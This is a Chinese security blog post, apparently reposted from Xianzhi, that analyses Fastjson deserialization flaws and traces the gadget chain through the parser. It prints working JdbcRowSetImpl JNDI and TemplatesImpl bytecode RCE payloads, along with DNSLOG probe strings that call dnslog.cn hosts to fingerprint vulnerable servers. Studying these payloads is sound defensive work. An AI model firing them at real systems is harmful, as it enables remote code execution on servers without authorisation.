fastjson string转json对象_逆向学习fastjson反序列化始

更多全球网络安全资讯尽在邑安全

前言

   Fastjson这款国内知名的解析json的组件,笔者在此就不多介绍,网络上有很多分析学习fastjson反序列化漏洞文章。笔者在此以一种全新角度从分析payload构造角度出发,逆向学习分析fastjson反序列化漏洞始末。
ps:漏洞学习环境以代码均在上传Github项目。

初窥Payload

   下面是一段最简单Fastjson的版本号反序列化--URLDNS代码,观察发现可以提出一个问题@type作用?

import com.alibaba.fastjson.JSON;public class urldns {public static void main(String[] args) {// dnslog平台网站:http://www.dnslog.cn/String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";JSON.parse(payload);}}

@type的作用

   下面是一段实验代码,帮助理解分析@type的由来。

public class User {private String name;private int age;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +'}';}}
package vul.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;public class Demo {//TODO 修改pom.xml中的fastjson <= 1.2.24public static void main(String[] args) {User user = new User();user.setAge(18);user.setName("summer");String str1 = JSONObject.toJSONString(user);// 转化的时候加入一个序列化的特征 写入类名// feature = 特征String str2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);// str2输入结果会输出 @type+类名// 由此可知@type是用于解析JSON时的用于指定类System.out.println(str1);System.out.println(str2);//如果fastjson解析内容时没有配置,会默认使用缺省配置// TODO 查看parse方法 可以设置断点看看不同之处和相同之处Object parse1 = JSON.parse(str1);Object parse2 = JSON.parse(str2);//很明显的结果不一样System.out.println("@type: " + parse1.getClass().getName());System.out.println("str1's parse1: " + parse1);System.out.println("@type: " + parse2.getClass().getName());System.out.println("str2's parse2: " + parse2);}}

10a5ff67dfba88afe67438b74f31ff21.png

   对比分析一下,只要在JSON序列化的方法加入SerializerFeature.WriteClassName特征字段。序列化出来的结果会在开头加一个@type字段,值为进行序列化的类名。再将带有@type字段的序列化数据进行反序列化会得到对应的实例类对象。反序列化可以获取类对象?有Java基础的安全人应该会敏感的这里十之八九存在漏洞。
ps:下面是一段验证代码

public class Vuldemo {public static void main(String[] args) {String payload = "{\"@type\":\"vul.fastjson.User\",\"age\":18,\"name\":\"summer\"}";Object ob = JSON.parse(payload);System.out.println("反序列化后类对象:  " + ob.getClass().getName());System.out.println("反序列化结果: " + ob);}}

c10c000d00b11f3893fe8c7d54acbead.png

漏洞分析

RCE’s payload

   第一种payload是使用com.sun.rowset.JdbcRowSetImpl类,第二种是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。第二种之前在漫谈Commons-Collections反序列化讨论分析过,这里不再重复着重讨论分析第一种payload。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1090/Exploit","autoCommit":true}
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

再窥Payload

   观察发现这个payload由三部分组成,@typedataSourceNameautoCommint。第一个@type前面已经提及了是获取实例化类,dataSourceNameautoCommit我们看看官方文档。

String payload =   "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";

   大致意思:使用该方法的名称绑定到JNDI命名服务中的DataSource对象上,应用程序就可以使用该名称进行查找,检索绑定到它的DataSource对象。9fff340de623142091bb59907ea5f2e2.png   设置AutoCommit后,会自动提交内容。设置这个属性之后,JNDI找到对应资源,对自动提交内容,读者后期可以试试删除这个属性是不会触发漏洞的。5e24606e34a9ff3159ad4d7cc460ee79.png知道上面这些特性后,根据特点构造等价代码
国外介绍JdbcRowSet 使用方法的一个小案例,可以参考一下。

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();try {jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");jdbcRowSet.setAutoCommit(true);} catch (SQLException throwables) {throwables.printStackTrace();}

漏洞成因分析

   JSON#parse()方法会调用DefaultJSONParser#parse(),在实例化DefaultJSONParser类是会将输入数据使用实例化JSONScanner类传入,并同时传入默认缺省配置features

e30ee38385a7e4975cf64b374fd7c9cb.png

4cf86cad3c39cfe74a0c4292ea98806d.png

   这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的。

a6f1c39b13338791a297b5df6b65b0f4.png

   DefaultJSONParser在实例化时会读取当前字符 ch={ ,所以 lexer.token()=12

a2b396650b25a50a1cb1e03e03b355ed.png

ab1f8f1d180738970f26f59dc847e57b.png   跳转12会创建JSONObject类对象,然后再调用 DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法去解析。9592e97a54a08c22dc2840644ec8952b.png   DefaultJSONParser#parseObject前面会做一个简单判断lexer.token(),然后读取字符判断是否ch=='"',TRUE就获取其中的字段的值@type并紧接着判断key == JSON.DEFAULT_TYPE_KEY相等。

9caaf2499d339c385db7b826167387d0.png

d1ab173ef3abac04af739fffb4e53242.png

fdf81594ccf965ca3f05b2c41c5e24a4.png   接下去进入反序列化阶段 deserializer#deserialze()--> parseRest()--> fieldDeser#setValue-->一系列反射调用--> JdbcRowSetImpl#setAutoCommit()触发漏洞。

d7fd4c73212881720430fe82463bd7c0.png

2b2e42ff0cfcf77bb77e1af8fbe36816.png

最后得到Gadget chain如下

/** * Gadget chain: *      JSON.parse() *          DefaultJSONParser.parse() *              DefaultJSONParser.parseObject() *                  JavaBeanDeserializer.deserialze() *                      JavaBeanDeserializer.parseRest() *                          FieldDeserializer.setValue() *                              Reflect.invoke() *                                  JdbcRowSetImpl.setAutoCommit() * */
4b95b4f21c3da9a9601cdf1cccb8cc22.png

DNSLOG的一个小点

   实战挖掘fastjson漏洞的时候比较常用的方法,探测Fastjson是用dnslog方式,探测到了再用RCE Payload去一个一个打。但是本人在本地环境测试的时候发现了几个不同点,fastjson的版本不同,不同的payload成功概率是不同的。至于为什么是这样子,可以参考一下这篇通过dnslog探测fastjson的几种方法。

// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";// 全版本支持 fastjson <= 1.2.72String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

b0a8a60ec16d7dd04883a6ba1d803742.png

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值